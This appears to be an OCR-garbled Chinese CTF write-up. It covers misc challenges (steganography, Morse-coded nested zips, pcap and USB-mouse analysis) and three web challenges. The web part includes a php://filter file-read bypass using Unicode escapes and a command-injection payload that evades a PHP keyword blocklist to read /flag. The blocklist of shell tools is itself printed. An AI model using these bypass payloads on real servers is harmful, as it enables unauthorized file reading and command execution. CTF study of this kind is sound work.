ZREXSIIZEWP
Misc

baby_file_recogonize
M, BRBER—TexeXth

v SE

whoami.exe 2024/7/10 17:01 N AR 35 KB

FAHTHOL0E—BRRKEATE

FIAEIMZpngBIRBIXHL, TRiFexeRZepngilalFEI—KE R



# FstegsolveifipkBlue plane 4 Bla133—1315%!flag

Blue plane 4

Er

baby_file_recogize_2
EREZIEE—KER, KH010EE




;EA! ..U %Eq nel
NE%# 1..{11(T“ .5, ..
“"YTeN’i86GSe8"' . A
R1Ua. I.‘EETiBa“
.g.#30" ”.&-q
@.8I&TI¢ y.
AD.U>]p=2 :
O3A% . # O< .
a..Kﬂf@.ﬂ:Q"ﬂa
ﬁ—wﬁiﬂv;'iﬁﬁg[I@
% } pf a’ ai qf:}T

LA w[
!..H”i;].:
..&{1@.US
.EllleE CC
A.. q 5

3U http //tqulp
. sogou.com, B®DN

B VERM AR XEFFTETER, BREFENERENE

1 //XHFT RERARRS

2 def reverse_bytes(input_file, output_file):
3 with open(input_file, 'rb') as f_in:

# AR 2B

content = f_in.read()

o U b



7 # JFEERBIA B R

8 reversed_content = content[::-1]

10 with open(output_file, 'wb') as f_out:

11 # RHEFIEBIABE SN X

12 f_out.write(reversed_content)

13

14 print(f"FZHEAIFMIERE, B3 '{input_file}' WRAREAE '{output_file}'.")
15

16 ¢input_file = "test" # BWAXHS

17 output_file = "test.png" # HHXMHS

18

19 reverse_bytes(input_file, output_file)
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00000016 |00 48 00 00 FF DB 00 43 00 02 0l 01 02 01 01 02| B %0 C

00000032 |02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 File sizec 169 KB

00000048 |04 03 05 07 06 O7 07 07 06 07 07 O8 09 OB 09 08 172,728 bytes

00000064 |08 OR 08 07 O7 OA OD OA OA OB OC OC OC OC 07 09 X S — e

00000080 |OE OF OQOC OE 0B OC OC OC FF DB 00 43 01 02 02 g0 C -

00000096 |02 03 03 206 03 03 06 OC 08 07 08 OC OC OC OC Default Edit Mode

00000112 | OC OC 0CJ0C OC OC OC OC OC OC OC OC OC OC OC 0C State: original

00000128 | OC OC CQOC OC OC OC OC OC OC OC OC OC OC 0C OC. . ., _
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Q00000432 02 01 02 05 04 04 00 01 02 77 00 W SVADMINI~ 1\ AppDatatLocal\ Temp
00000448 |01 02 03 06 12 41 51 07 61 71 13 11 2Q ag
00000464 | 22 32 81 Bl CL 09 23 33 52 FO 15 "2 B';zh #3Ra
00000480 | 62 72 D1 25 F1L 17 18 195 1A 26 27  brH $44%a &'
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00000528 | €A 73 T4 7L B2 B3 84 85 86 87 88  JSCUVWEYE, f..tE"
00000544 | 89 SR 92 98 99 9A A2 B3 R4 AS RBE | wEr e mIcpmE
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Example 1 [edit]

Following is an example of a 2x2 pixel, 24-bit bitmap (Windows DIB header BITMAPINFOHEADER) with pixel format RGB24.

Offset | Size Hex value Value Description

BMP Header
42 4D "BM" ID field (42h, 4Dh)
46 00 00 00 70 bytes (54+16) Size of the BMP file (54 bytes header + 16 bytes data)
00 00 Unused Application specific
00 00 Unused Application specific
36 00 00 0O 54 bytes (14+40) Offset where the pixel array (bitmap data) can be found
DIB Header
28 00 00 00 40 bytes Number of bytes in the DIB header (from this point)
02 00 00 00 2 pixels (left to right order) Width of the bitmap in pixels
02 00 00 00 2 pixels (bottom to top order) | Height of the bitmap in pixels. Positive for bottom to top pixel order.
01 00 1 plane Number of color planes being used
18 00 24 bits Number of bits per pixel
00 00 00 00 0 BI_RGB, no pixel array compression used
10 00 00 00 16 bytes Size of the raw bitmap data (including padding)
13 0B 00 00 2835 pixels/metre horizontal Print resolution of the image,
13 0B 00 00 2835 pixels/metre vertical C 9.3701 inches per metre yields 2834.6472
00 00 00 DO 0 colors Number of colors in the palette
00 00 00 00 0 important colors 0 means all colors are important
Start of pixel array (bitmap data)
00 00 FF 00 255 Red, Pixel (x=0, y=1)
FF FF FF 255 255 255 White, Pixel (x=1, y=1)
00 00 00 Padding for 4 byte alignment (could be a value other than zerg)
FF 00 00 25500 Blue, Pixel (x=0, y=0)
00 FF 00 02550 Green, Pixel (x=1, y=0)

00 00 00 Padding for 4 byte alignment (could be a value other than zero)
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01011000010011010100000101001110011110110011100100110110001101010011011100110101
01100010011001010110010101100100001101000110010001100101011000010011000100111000
01100100011001010110010000110100001101110011001100110101001101100011010000110011
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Number delimiter

Space v

(J Ox/0b prefix
ASCII| text

XMAN{96575beed4deal8ded4735643aecfads}

Hex (bytes)
58 4D 41 4E 7B 39 36 35 37 35 62 65 65 64 34 64 65 61 31 38 64 65 64
34 37 33 35 36 34 33 61 65 63 66 61 33 35 7D

Binary (bytes)

01011000010011010100000101001110011110110011100100110110001101010011
01110011010101100010011001010110010101100100001101000110010001100101

Decimal (bytes)

88 77 65 78 123 57 54 53 55 53 98 101 101 100 52 100 101 97 49 56 100
101 100 52 55 51 283 54 52 51 97 101 99 102 97 51 53 125

Baseb4

WE1BTns5NjUSNWJ1ZWQOZGVhMThkZWQONZMIN jQz YWV jZmEzZNX0=
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Usage

FEFREFFpython2flpython3iRABINNEEERSEIARE, FEREREpython2flpython3 randomfIEIEARE,
WNERE Fpython3FkRAE python2BrandomEEKiENN --oldseed 244,

AR python2Mpython3MEEZRA—1#HY, PRLAMME B RVEHERSR MR A 1T, XEME
python2BY&E %

L4 python bwm.py decode dayl.png day2.png dayl_day2.png
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foremostiik—1NE4EE, BEHKLISE—KE Fsecret.png
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~/ % @ /cloacked-pixel
python2 lsb.py extract secret.png 1.txt 7his_1s_p4sSwdrd

[+] Image si 2048x1284 pixels.
[+] Written extracted data to 1.txt.

L4 python2 Isb.py extract secret.png 1.txt This_1s_p4s5wOrd
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10110100100101001001101001100000011010001110111011001000100010101101000011010000
110001101101101010100010111100001100110010100010011110100111101

XB—HZE2237MFR, ARBN—T, E&AXMLE—10, AFEFAILUWSERR, 8P N—HFEK
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S FIRVRERS L : https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-
converter.html
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() 0x/0b prefix
ASCII| text

ZmxhZ3t3YXZJMO4wdEhhcmQxfQ==

Hex (bytes)
oA 6D 78 68 5A 33 74 33 59 58 HA 4A 4D 30 34 77 64 45 68 68 63 6D 51
78 66 51 3D 3D

Binary (bytes)

01011010011011010111100001101000010110100011001101110100001100110101
10010101100001011010010010100100110100110000001101000111011101100100

Decimal (bytes)

90 109 120 104 90 51 116 51 89 88 90 74 77 48 52 119 100 69 104 104 99
109 81 120 102 81 61 61



ASCI| text

flag{wavI3NOtHard1}

Hex (bytes)

66 6C 61 67 7B 77 61 76 49 33 4E 30 74 48 61 72 64 31 7D

Binary (bytes)

01100110 01101100 01100001 01100111 01111011 01110111 01100001
01110110 01001001 00110011 01001110 00110000 01110100 01001000

Decimal (bytes)

102 108 97 103 123 119 97 118 73 51 78 48 116 72 97 114 100 49 125

Baseb4

ZmxhZ3t3YXZJMO4wdEhhemQx Q==

PixelAA
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1st7§$§11§'~1 F0 4t 138 18

{R: {RA1E flagfE BB EE 15

Theanyone: A17! (R EflagEZHENL!
(R : ”‘*E—,m{;‘,ﬂﬂ%?

Theanyone: ...  F HEEEH1F{RsT

4K LESE59:

EI?JEI‘E AR EZFFBIEFERIE .

iR 1
1 - N LA 4k 5%

Eﬁﬂrﬁ BRBEENHT MIBEEEFKXE 42 51 53 3f 38 46 23 6b 73 2d 45 2b 2a 57 3a 40 55 57 74 5d 46 59 37 30 42 4
L12866'726030656d57253655754'7'701455-F6 u4d 6d 3d 44 3b u4d 63 42 34 47 64 39 4O 3a 2a 58




42 5153 3f3846 23 6b 732d 452b2a573a405557 74 5d 46 59 37 30 42 44 28 66 72 60 30 65 6d

572536557547 70 45 5f 6e 4d 6d 3d 44 3b 4d 63 42 34 47 64 39 40 3a 2a 58

REI—RICHFIRID A TS tILIR—T , BEMbase85#EE, BIRIFEI— M EEMERIEHE, AR
ELEESIFHNNsTSg, HNBUNXZMERRIG, REGMINRElag

Recipe

From Hex

Delimiter

Auto
From Base85
Alphabet

l-u

Remove non-alphabet chars

a flag.txt

2024-07-12 11:17  1JHBRTIE): KABW

b ) AR

~amB Input

+ 028 =

~ ® I 42 51 53 3f 38 46 23 6b 73 2d 45 2b 2a 57 3a 40 55 57 74 5d 46 59 37 30 42 44
28 66 72 60 30 65 6d 57 25 36 55 75 47 70 45 5f 6e 4d 6d 3d 44 3b 4d 63 42 34

47 64 39 40 3a 2a 58

~ Q01

-

All-zero grou...
z
mec 176 = 1

Output

https://Dan.baidu.com/s/llplCGz]PPZWXijkgcmSa_Q

D
AL B #rzIme L, T#(42B)

flag{f8a5e656-0b3b-e262-944c-7ca749%4dlaae}

many_zip

—IE1000 M EEERET—ENEE, R4S, SHEEIE,

Tr Raw Bytes €& L

BOm::

= RERIF £S5

5—REE#HE T -ENNNE

13, BUEHBERBERNEZAZINN, ARSI E RIS E R ERBBEIRAH i
NFFH, AEBRFINENETESEE.

zip_file = 'C:\\Users\\13740\\Desktop\\test\\manyzip_999.zip'
target_folder = 'C:\\Users\\13740\\Desktop\\test\\'

BRKIEIZASIN T
1 -dimport pyzipper
2 from PIL -import Image
3
4
5 def process_image(image_path):
6 img = Image.open(image_path)
7 width, height = img.size
8 result = []
9 x=0

=
(o}

while x!=width:



11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

pixel = img.getpixel((x, 0))
if pixel == (0, 0, 0):
consecutive_black = 1
for x_next in range(x + 1, x+30):
if img.getpixel((x_next, 0)) == (0, 0, 0):
consecutive_black += 1
else:
break
if consecutive_black == 30:
result.append('-")
X+=30
elif consecutive_black == 10:
result.append('.")
X+=10
elif pixel == (255, 255, 255):
consecutive_white = 1
for x_next in range(x + 1, width):
if dimg.getpixel((x_next, 0)) == (255, 255, 255):
consecutive_white += 1
else:
break
if consecutive_white == 30:
result.append(' ")
X+=30
elif consecutive_white==10:
X+=10
else:
x=width

return ''.join(result)

decode_txt = "decode.txt"

def

def

Exchange(target,charl,char2,char3):
result = target.replace(charl,char3)
result = result.replace(char2,charl)
result = result.replace(char3, char2)
return result

GetFile(path):

dic = dict()

txt = ""

with open(path, "r") as fp:
txt = fp.read()
lis_data = list(set(txt.split("\n")))
if "" dn lis_data:
lis_data.remove("")
for datas in lis_data:
key, data = datas.split(" ")
dic[key] = data
return dic



58 def MorseDecode(target):

59 lis_target = list(target.split(" "))

60 dic = GetFile(decode_txt)

61 result = ""

62 for i in lis_target:

63 if i in dic.keys():

64 result += dic[i]

65 else:

66 result += " "

67 return result

68 cnt=999

69 while cnt>=0:

70 password_file=f'password_{cnt}.png'

71 with pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.ZIP_DEFLATED,

encryption=pyzipper.WZ_AES) as extracted_zip:

72 extracted_zip.extract(member=password_file,path=target_folder)

73 password_filel=f'C:\\Users\\13740\\Desktop\\test\\password_{cnt}.png'

74 result_string = process_image(password_filel)

75 password=MorseDecode (result_string)

76 with pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.ZIP_DEFLATED,

encryption=pyzipper .WZ_AES) as extracted_zip:

77 extracted_zip.extractall(path=target_folder,pwd=password.encode())

78 cnt-=1

79 zip_file=f'C:\\Users\\13740\\Desktop\\test\\manyzip_{cnt}.zip'
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37
E#miflag
~ S
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= flag.txt

- Persc¢

% % %

manyzip_0.zip
£3 manyzip 1.zip
a2 manyzip_2.zip
manyzip_3.zip
£3 manyzip 4.zip
a2 manyzip 5.zip
manyzip_6.zip
£3 manyzip 7.zip
a2 manyzip 8.zip

>

N HmF -

= B85 -

U=k

2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57
2024/7/9 21:57

flag{e4011d5a-f519-45b4-9bdc-4387b59%eaeb1}

easy_pcap_1
AL R K IF

I EflagF VAR —5%

ESiE]

ST

ZIP [E4530it
ZIP 45345
ZIP [E4E3
ZIP [E4530it
ZIP 45345
ZIP [E4E3
ZIP [E4530it
ZIP 45345
ZIP [E4E3

N

1KB
1KB
1 KB
2KB
2KB
2 KB
3 KB
3 KB
4 KB
4 KB



22 2.781646  180.101.50.242 192.168.149.131 TCP 58 80 » 57294 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

23 2.781921  192.168.149.131 180.101.50.242 TCP 60 57294 » 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
24 2.782101 192.168.149.131 180.101.50.242 HTTP 811 GET /s?ie=utf-8&f=8&rsv_bp=18&rsv_idx=1&tn=baidu&wd=flag%7Babcertyzxc%7D&fenl
252.782269 180.101.50.242 192.168.149.131 TCP 54 80 » 57294 [ACK] Seq=1 Ack=758 Win=64240 Len=0

26 2.795920  180.101.50.242 192.168.149.131 TCP 1514 80 » 57294 [ACK] Seq=1 Ack=758 Win=64240 Len=1460 [TCP segment of a reassemb_—
27 2.795964  180.101.50.242 192.168.149.131 HTTP 298 HTTP/1.1 302 Found (text/html)

S e 2
15. NIL

M Wireshark - J&F5 TCP it (tcp.stream eq 1) - easy pcap_1.pcapng - O X

GET /s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidulwd=flag%7Babcertyzxc%7D&fenlei=256&rs *
V_pq=0xf66elffbo0c65e74&rsv_t=clbbUnz5XdiVgnhq8wsTbzxvrt5n%2BNzUt73Y%2BVnz2QzDs4i2AJK
82LsEUkJIC&rqglang=en&rsv_enter=08&rsv_dl=ib&rsv_sug3=17&rsv_sugl=7&rsv_sug7=100&rsv_bty
pe=i&inputT=9552&rsv_sugd=10411 HTTP/1.1

Host: 180.101.50.242

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BD_HOME=1; BD_UPN=133352; BD_CK_SAM=1; H_PS_645EC=29937TTAkfFhRrsjrYUX%2B%2Fp
s3x%2Fbd818LgDeIcrtn3WRpXCcSZZkR2nX@qo; BDSVRTM=167

Upgrade-Insecure-Requests: 1

HTTP/1.1 302 Found

Location: https://wappass.baidu.com/static/captcha/tuxing.html?&logid=749484277257661
68928&ak=c27bbc89%afca@463650ac9bdeb8ebe@b&backurl=https%3A%2F%2F180.101.50.242%2Fs%3Fi
e%3Dutf-8%261%3D8%26rsv_bp%3D1%26rsv_idx%3D1%26tn%3Dbaidu%26wd%3Dflagk%257Babcertyzxc¥
257D%26fenlei%3D256%26rsv_pq%3DOxfeeelffbBOc65e74%26rsv_t%3DclbbUnz5XdiVgnhg8wsTbzxvr
t5n%252BNzUt73Y%252BVnz2QzDs412AJK82L sEUkIC%26rqlang%3Den%26rsv_enter%3D0%26rsv_d1%3D
ib%26rsv_sug3%3D17%26rsv_sugl%3D7%26rsv_sug7%3D100%26rsv_btype%3Di%26inputT%3D9552%26
rsv_sugd%3D104118&ext=x9G9QDmMXq%2FNo87gjG00PyqH212z1KVziQlc%2FiGtkVkaxS4CEhQal2Q7nS%2F
bwHL39g1T91%2F9alWxTqDk%2BHyX%2BPsdqjvaEx4WSnho7y0e79ubhIIB7URDciwb4Wfa70IDxfT69g8g2xq
X67uvSb7m5JRw%3D%3D&signature=fddca8de90d13d621780343d07be78d4&timestamp=1720982392
Date: Sun, 14 Jul 2024 18:39:52 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

320
<a href "https //wappass baidu. com/stat1c/captcha/tux1ng html’&amp,logld 749484277257

1 &Fim o8, 2 RE555 ﬁﬁ 1 turn(s).

BAHE (2461 bytes) v Show data as | ASCII v i |1 =
= | | [mErRF— )]
=Tl f FTHD BEA... 1R([A] Ei| =45

IR ERTAIRR, EERIERLEflag

& C o O & https://www.baidu.com/s?ie=utf-8&f=88&rsv_bp=18&rsv idx=1&tn=baidugwd=flag{abcertyzxc}&fenlei=256&rsv p B o

Dyanemds @ #Ftlr O AR @ RSk

Bai.&.EE flag{abcertyzxc} : _—

easy_pcap_2



AL IS

ZHE ENE RNEEE AN P
8 192.168.149.132 text/html 134 bytes \
23 192.168.149.132 multipart/form-data 3984 bytes \
26  192.168.149.132 text/html 62 bytes \

SHhttp#UER, E%S5c(1)XNMXHFRIT pnglIXHFk, BIB—KBFREIMdown TR, ABFRKR
F T2 Tflag

C LIy edCE) =1 75C1) 1|
‘ —————— WebKitFormBoundary9o8sAid4aCDovmKnt
Content-Disposition: form-data; name="file upload"; filename="flag.png"
Content-Type: image/png

NG
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flag{pcap 1s edsy!)

flag{pcap_1s_e4sy!}

normal_pcap
MERUEEXFEINE
XAEZR T USBREITMERITEE


https://blog.csdn.net/Waffle666/article/details/109404471?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172103972816800180689153%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172103972816800180689153&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-2-109404471-null-null.142^v100^pc_search_result_base8&utm_term=%E6%8F%90%E5%8F%96Leftover%20Capture%20Data&spm=1018.2226.3001.4187

HMNBHERKRBEIRNTE X RE0EHId datagi & Leftover Capture Data, F{1EIRENAIHEXER
SHRE

R T — MR FERIRIA

USBMouseftizs

AIHRIM R R E IR AR, TH —LpythonHBELKHERIE, FTEMLFES,

ﬁ poetry run python usb-mouse-pcap-visualizer.py -i assets/example/XNUCA/flag.pcapng
-0 assets/example/XNUCA/1.csv

MITELEMIEE— T esvfF

BANFEM—ETRIE, KesvX - ErIFalse2 B Ctri+hE# A True, XFRIREoHRIIHES &
B,

SARBIHEL ML, EEREIRIRNMT, HEZEflag

usage

git clone https://github.com/WangYihang/USB-Mouse-Pcap-Visualizer

cd USB-Mouse-Pcap-Visualizer

poetry install

poetry run python usb-mouse-pcap-visualizer.py -i example/example.pcap -o
example/example.csv

Use the € and - arrow keys to navigate through the play area. Press the 1
and ¥ arrow keys to speed up and down.

flag{mouse_PCAP}
Wireshark 13§28 <5 XA
https://www.wireshark.org/docs/dfref/u/usbhid.html


https://github.com/WangYihang/USB-Mouse-Pcap-Visualizer?tab=readme-ov-file
https://usb-mouse-pcap-visualizer.vercel.app/
https://www.wireshark.org/docs/dfref/u/usbhid.html

https://blog.csdn.net/Waffle666/article/details/1094044717
ops_request_misc=%257B%2522request%255Fid%2522%253A%25221721039728168001806891
53%2522%252C%25225cm%2522%253A%252220140713.130102334..%2522%257D&request_id
=172103972816800180689153&biz_id=0&utm_medium=distribute.pc_search_result.none-task-
blog-2~all~baidu_landing_v2~default-2-109404471-null-
null.1427v100”pc_search_result_base8&utm_term=%E6%8F%90%E5%8F%96Leftover%20Capt
ure%?20Data&spm=1018.2226.3001.4187

Web

read-data

X#E 7 ItnodejsU ISR E A IEAHF
//app.js
const express = require('express')
const app = express();

1

2

3

4

5 const port = 3000;
6 const fs = require('fs')
7
8
9

try {
10 const inputD = fs.readFileSync('table.txt', 'utf-8');
11 text = dinputD.toString().split("\n").map(e => e.trim());
12 } catch (err) {
13 console.error ("IEENXHFHEE:", err);
14 process.exit(l);
15 }
16
17 app.get('/', (req, res) => {
18 if (!req.query.name) {
19 res.send ("{REIETIE? XD")
20 return;
21 }
22 let goodLines = []
23 text.forEach( line => {
24 if (line.match(req.query.name)) {
25 goodLines.push(line)
26 }
27 1)
28 res.json({"&EBLER" :goodLines})

29 1)


https://blog.csdn.net/Waffle666/article/details/109404471?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172103972816800180689153%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172103972816800180689153&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-2-109404471-null-null.142^v100^pc_search_result_base8&utm_term=%E6%8F%90%E5%8F%96Leftover%20Capture%20Data&spm=1018.2226.3001.4187

30
31 app.get('/:id/:firstName/:lastName', (req, res) => {

32

33 res.send("FLAG")

34 1)

35

36 app.listen(port, () => {

37 console.log( App server listening on ${port}. (Go to
http://localhost:${port}) );

38

KRB EappisHgetABEL, FEIE=ME, 7 alcidfirstName,lastName, 1BX} 7 HL51Rflag
EFiinameBEWILE, FHITIRHITHED
< c A F&%£ 8.130.166.230:9001/?name=.* * ) K2 @

D mE+%

Fdt O

{7 &4 17 ["Ricardo Olsen”, “April Park”, “Francis Jackson”, “Ana Barry”, “Clifford Craig”, “Andrew Wise”, “Ada Atkinson”,”Janis McIntosh”, "Rosie Parsons”, "Neal Weaver”, “Alyssa Robison”, "Michael
Hurst”, “Roberto Thornton”, “Renee Schwartz”, “Darryl Wilson”, “Wayne Boyle”, “Loretta Camacho”, “Bert Morton”, “Suzanne Johnson”, “Carol Fowler”, “Rose Hansen”, “Aimee Norman”, “Bethany Foley”, “Benjamin
Baily”, “David Hull”, “Sabrina Fish”, “Rick Kirby”, “Edgar Grimes”, “Blake McDermott”, “Alicia Crosby”, “Teresa Ortega”, “Carroll Darling”, “Louis Tate”, “Phillip Fuller”,”Clinton Kimball”, “Alma
Matthews”, “Stacie Franklin”, “Lucinda Steward”, ”Gina Andrews”, “Philip Hyde”, “Devin Riggs”, “Michelle Thornton”, “Rogelio Freeman”, “Arthur Stephens”, “Andy Leon”, “Megan Gould”, “Myrna Yates”, “Edwin
Pearce”, “Shirley Cannon”, “Lowell Cochran”, “Flag Holder”]}

Al AEEITEES1INIdEFE T Flag Holder=ER, #iPAflagitiEX, ARREBNINIFEIE—TRIT,
id#t— T =251, firstName&Flag, lastName&Holder

payload: /51/Flag/Holder

< C A T2  8.130.166.230:9001/51/Flag/Holder

flag{YOu R1ad JS suCcess!!}

rce_me

1 //@&EE S

2 <?php

3 error_reporting(0);

4

5 highlight_file(__FILE__);

6

7 function is_safe(S$input) {

8 Sblacklist = [

9 "\.\.',

10 '(php|file|glob|data|tp|zip|zlib]|phar):"',



11 'flag'

12 1;

13 $pattern = '/' . dmplode('|', $blacklist) . '/i';

14 return !preg_match($pattern, $input);

15 }

16

17 S$requestBody = file_get_contents('php://input');

18 $parsedJson = json_decode(S$requestBody, true);

19

20 if (is_safe(SrequestBody) && tisset(S$parsedJson) &&
isset($parseddson['pages'])) {

21 $pageUrl = $parsedIson['pages'];

22 $pageContent = file_get_contents($pageUrl);

23 if (!$pageContent || !is_safe($pageContent)) {

24 $pageContent = "<p>not found</p>\n";
25 }

26 } else {

27 $pageContent = '<p>invalid request</p>';
28 }

29

30 SpageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', SpageContent);
31 echo json_encode(['content' => S$pageContent]);
32 >

XEE RUnicodefmidgeid +A N i52EX
burpilii~&

iR Wi i
Raw | %% | % | Hex Raw | % | Hex | Render
GET /HTTPA 1 A error repcrting(0):
Host: localhost:17077 B -
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:127.0) Gecko/20100101 Firefoxi127.0 nighlight file( FILE J;
Accept: texthtml, icationfxhtml+xml licationixml;q=0.9 imags if i Pg=0.8
Accept-Language: zh-CN zh;g=0.8,zh-TW;4=0.7 zh-HK;g=0.5 en-US;y=0.3 en;q=0.2 function is safe (§input) {
Accept-Encoding: gzip, deflate S$hlacklist = [
Connection: close ALY,
Cookie: Pycharm-9613d895=c5h5h56a-63h7-4035-9a3d-9ef3444e34fa '(php|file|glob|data|tp|zip|zlib|phar) ',
Upgrade-Insecure-Requests: 1 "flag'
Sec-Fetch-Dest: document 1z
Sec-Fetch-Mode: navigate §pattern = '/' . implede('|', $blacklist) . '/i';
Sec-Fetch-Site: none return !preg match(§pattern, finput);
Sec-Fetch-User: 71
Priority: u=1
Content-Length: 13 SreguestBedy = file get contents('php://input'):
fl Sparseddscn = jaon_aec:c_ie ($requestBody, true);
{"pages""1"}
if (is_safe($requestBody) && isset ($parsedJson) && isset (§parsedJson['page:
$pageUrl = S$parsedJson|'pages'];
§pageContent = file get_contents(SpageUrl):
if (!$pageContent !is_safe($pageContent)) {
SpageContent = "<prnot found</p>\n";
i
} else {
$pageContent = '<p>invalid reguest</p>';:
$pageContent = preg replace('/flag\{ 'flagi{l23}', $pageContent);
echo json_encode ([ "Zontent' =» Spag ):
>
{"content":"
. )
v not found=\/p='n"}

{"page":"1"}, XEjsonEALZiEIEAHRI



file_get_contents XNREEAI LML php://filter B, FRLIEEFERAMIGERE, I

php BUEJEMFEH Unicode ZedBIR]

Bx#payload: {"pages":"\u0070\u0068\u0070://filter/convert.base64-
encode/resource=/\u0066\u006c\u0061\u0067"} ({"pages":"php://filter/convert.base64-

encode/resource=/flag"})

I ik

Raw | ## | % | Hex

15 i

Raw | % [ Hex | Render

GET /HTTPA 1

Host: localhost: 17077

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4; rv:127.0) Geckoﬁm 00101 Firefox/127.0
Accept: text/html ionfml;q=0.9,i Mhg=08
Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;, q—O 3 eng=0.2 "
Accept-Encoding: gzip, deflate

Connection: close

Cookie: Pycharm-9613d895=c5hSh56a-63h7-4035-9a3d-9ef3444e34fa
Upgrade-Insecure-Reqguests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: 71

Priority: u=1

Content-Length: 96

ion/xhtml+xml,

{"pages":"W0070W00E8WO070: /Hitericonvert basef4-encodeiresource="u0066\W006c\W00G1 \uDOG?"}I

P IhiEEY i base64 4B RYflag, AFFDENA]

Recipe ~om B

From Base64 ~ QO n
Alphabet .
A-Za-z0-9+/=

Remove non-alphabet chars |:| Strict mode

simple_php
R flagEiRB R THflag.txtHH

A s
- <?php
error_reporting(0);
highlight file(_ FILE_
function 1a_safei$inputu {
$blacklist = |
IR
N T,
" (php|file|glck|data|tp|zip|zlib|phar):',
"flag"
1:
$pattern = '/' . implede('|', $blacklist) . '/i':
return !preg match(§pattern, §input):;
freguestBedy = file_get_contents('chp://input'):
SparsedJscn = json_decode (§requestBody, true):
if ua_safe($1:ec;v_:es:’-2 y) && isset($parseddscn) && isset ($parsedJdson['pages']
$pagelrl = Spa n['pa 1:
ntent = file_get_co ts (Spagelrl);
4 T
SpageContent = "<p>not found</p>Yn":
}
} else {
$pageContent = '<prinvalid reguest</p>";
SpageContent = preg_r , $pageContent);
echo json_encode (['co
>
L {"content":"ZmxhZ3szZDc5ZDM2My 1jODAYLTRNzAtODUINS 1 Yjc IMGNjNTAOMWR
5
Input + O

ZmxhZ3szZDc5ZDM2My1j0DAYLTRjNzAtODUINS 1Y cIMGNINTABMWRICE==

rec 60 = 1 i} 5758 (1 selected)

Tr
Output

flag{3d79d363-c802-4c70-8555-cb750cc5041d}




1 AEIRE

2 <?php

3

4 highlight_file(__FILE__);
5

6 function is_safe($input) {
7 Sblacklist = [

8 "\.\.',

9 'flag',

10 "\

11 18

12 $pattern = '/' . dmplode('|', $blacklist) . '/i';

13 return !preg_match($pattern, S$Sinput);

14 }

15

16 $requestBody = file_get_contents('php://input');

17 $parsedJson = json_decode($requestBody, true);

18

19 1if (dis_safe($parseddson['cmd']) && disset($parsedIson['cmd']) &&
strpos($requestBody, '\u') === false ) {

20 $cmd = $parseddson['cmd'];

21 if
(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk]|strings|od|curl|ping]|
\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac]|less|head]|
\.|{|}|tar|zip|gcc|uniq|vi]|vim|file|xxd|date|bash|env|\?|wget|\"'|\" |whoami/i',
$cmd)) {

22 system($cmd) ;

23 print_r("Ok,I seem to be safe!'");

24 1

25 }

Raw | %4 | % | Hex

Raw | #% | Hex | Render

GET /HTTPA A

Host: localhost: 32390

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept:

textihtml application/xhtmb+xmi applicationfxmlg=0.9,i

gelavif image/webp imagefng i
=038

Accept-Language: zh-CN,zh;g=0.8 zh-TW;q=0.7 ,zh-HI;q=0.5 en-US;q=0.3,enq=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: Pycharm-9613d895=c5h5h56a-63h7-4035-9a3d-9ef3444e34fa
Upgrade-Insecure-Reguests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: 71

Priority: u=0, i

Content-Length: 43

{"emd":"a=cadab=t&a%agh fMalf-hji+-Ojtxt"}

I

<?php
error_reporting(0);

highlight_file(_ FILE

function is_safe ($input) {
$blacklist = |
R

1:
$pattern = '/' . implede('|', $blacklist) . 'fi';
return !preg match(fpattern, finput);

$requestBody = file get_contents('php://input');

SparsedJdson = json_deccde (frequestBody, true);

if (is_safe($parsedJson['cmd']) && isset(SparsedJson['cmd']) && strpos($reque:
$cmd = SparsedJson['cmd']:
if (!preg match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|cd|ct

{|}|tar|zip|gcc|unig|vi|vim|file|xxd|date|bash|env|\?
wgsT VT mifi', Scmd)) {
system(Scmd) ;
print_r("Ok,I seem to be safe!");
1

b ﬂag {114514_1180_simple_Php} Ok.I seem to be safe!

Payload: {"cmd":"a=ca&&b=t&&Sashb /fla[f-h][+-0]txt"}



payloadZd B : XERETFAHE, RAXETIRT cates<, FRUFATR LUBI HHERSuI D
s, BEREdigflag, FATAILAAF-hIRIER, XNFRIABA[+-0KET

